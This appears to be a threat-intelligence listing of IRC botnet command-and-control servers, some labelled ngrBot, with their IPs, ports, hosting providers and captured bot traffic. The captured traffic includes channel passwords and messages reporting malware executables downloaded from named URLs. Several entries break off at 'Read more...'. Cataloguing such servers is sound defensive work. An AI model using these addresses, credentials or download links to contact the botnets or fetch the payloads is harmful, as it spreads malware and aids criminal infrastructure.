Remote Host Port Number 193.107.16.121 1234 PASS xxx 204.0.5.51 80 216.178.38.224 80 63.135.80.46 80 66.220.149.32 80 MODE NEW-[USA|00|P|24666] -ix JOIN #!nw! test PONG 22 MOTD NICK NEW-[USA|00|P|24666] USER XP-4055 * 0 :COMPUTERNAME hosting infos: http://whois.domaintools.com/193.107.16.121
92.241.164.191(irc botnet hosted in Russian Federation Oao Webalta)
ip 92.241.164.191 port 8718 Nick taAODJGm User nftmukqp Channel #c Now 15 talking in #c Topic 11 On : [ #c ] [ =zHG1ItuZYjPiK9Yvp+PRGtG2f+HhKg4GOeRK3Pm1UmC51Uf+mWyMyq8raFlVl4bRGkmubSKgAUMpPQHZYWV1ORetyaFvLR ] Topic 11 By 12: [ term ] hosting infos: http://whois.domaintools.com/92.241.164.191
46.105.224.170(irc botnet hosted in France Ovh Systems)
Remote Host Port Number 213.251.170.52 80 46.105.224.170 6991 NICK New{US-XP-x86}5457206 USER 19245 “” “12420” :1586 MODE New{US-XP-x86}5457206 +iMm JOIN #FBI hosting infos: http://whois.domaintools.com/46.105.224.170
217.23.6.10(irc botnet hosted in Netherlands Worldstream)
Remote Host Port Number 217.23.6.10 1997 NICK NEW{USA-XP-SP3}{733420} USER 7334 “” “TsGh” :7334 JOIN #Boss PONG :irc.Team-dnS.net hosting infos: http://whois.domaintools.com/217.23.6.10
3vbot.no-ip.info(irc botnet hosted in Germany Hetzner Online Ag)
sexykyle.no-ip.biz Resolved : [ sexykyle.no-ip.biz ] To [ 178.63.140.212 ] Remote Host Port Number 178.63.140.212 1997 PASS none NICK NEW{USA-XP-SP3}{946345} USER 9463 “” “TsGh” :9463 JOIN #testbot PONG :irc.L1GhTs.net NICK New{US-XP-x86}5635115 USER 5635115 “” “5635115” :5635115 MODE New{US-XP-x86}5635115 +iMm JOIN #aryan none PONG :irc.L1GhTs.net hosting infos: http://whois.domaintools.com/178.63.140.212
92.241.165.155(ngrBot hosted in Russian Federation Oao Webalta)
Remote Host Port Number 213.251.170.52 80 92.241.165.155 1863 PASS ngrBot NICK n{US|XPa}rwtnhzp USER rwtnhzp 0 0 :rwtnhzp JOIN #IrcPeru PeruRulz!! Update: NICK n{US|XPa}fnazajf USER fnazajf 0 0 :fnazajf JOIN #IrcPeru PeruRulz!! PRIVMSG #IrcPeru :[DNS]: Blocked 0 domain(s) – Redirected 34 domain(s) PRIVMSG #IrcPeru :[d=”http://wootryp.com/images/quote.swf.exe” s=”159744 bytes”] Updated bot file “C:Documents and SettingsUserNameApplication DataQcxaxq.exe” – DownloadRead more...
webingenial.com(ngrBot hosted in Ukraine Zharkov Mukola Mukolayovuch)
Remote Host Port Number 212.34.147.101 80 213.251.170.52 80 91.211.117.161 1865 PASS ngrBot NICK n{US|XPa}rluznnc USER rluznnc 0 0 :rluznnc JOIN #main 4m3r1k4 JOIN #cn QUIT :removing hosting infos: http://whois.domaintools.com/91.211.117.161
cash.hi5fotos.info(irc botnet hosted in Netherlands Amsterdam Eurovps)
Resolved : [cash.hi5fotos.info] To [77.235.51.101] Remote Host Port Number 77.235.51.101 4042 PASS google_cache2.tmp NICK n[USA|XP]263051 USER 2630 “” “TsGh” :2630 JOIN #fixed# abc PONG 422 UPDATE: 77.235.51.101:81 Server Password: Username: 0298 Nickname: n[DEU|XP]967032 Channel: #msg# (Password: abc) Channeltopic: :!dl http://rapidshare.com/files/4077174557/mtm3.exe UPDATE: PASS google_cache2.tmp NICK [USA|XP]612840 USER 6128 “” “TsGh” :6128 NICK n[USA|XP]780243 USER 3028 “”Read more...
irc.FBI.net(linux bots hosted in France Ovh Systems)
Resolved : [irc-sbn.no-ip.info] To [46.105.185.99] 46.105.185.99:3301 chanel #rfi hosting infos: http://whois.domaintools.com/46.105.185.99
31.192.105.15(ngrBot hosted in Russian Federation Mir Telematiki Ltd)
Remote Host Port Number 213.251.170.52 80 74.117.178.4 80 31.192.105.15 1863 PASS ngrBot NICK n{US|XPa}acmejod USER acmejod 0 0 :acmejod JOIN #80t35ref 1963.g3rb3rs1t0.3691 JOIN #US JOIN #XP PRIVMSG #XP :[d=”http://dc227.4shared.com/download/d2yFF1wn/dafsdg.exe” s=”81920 bytes”] Executed file “C:Documents and SettingsUserNameApplication Data1.exe” – Download retries: 0 UPDATE: NICK n{US|XPa}vcaofwk USER vcaofwk 0 0 :vcaofwk JOIN #80t35ref 1963.g3rb3rs1t0.3691 PRIVMSG #80t35ref :[d=”http://modelosregias.com/KLv313G.exe”Read more...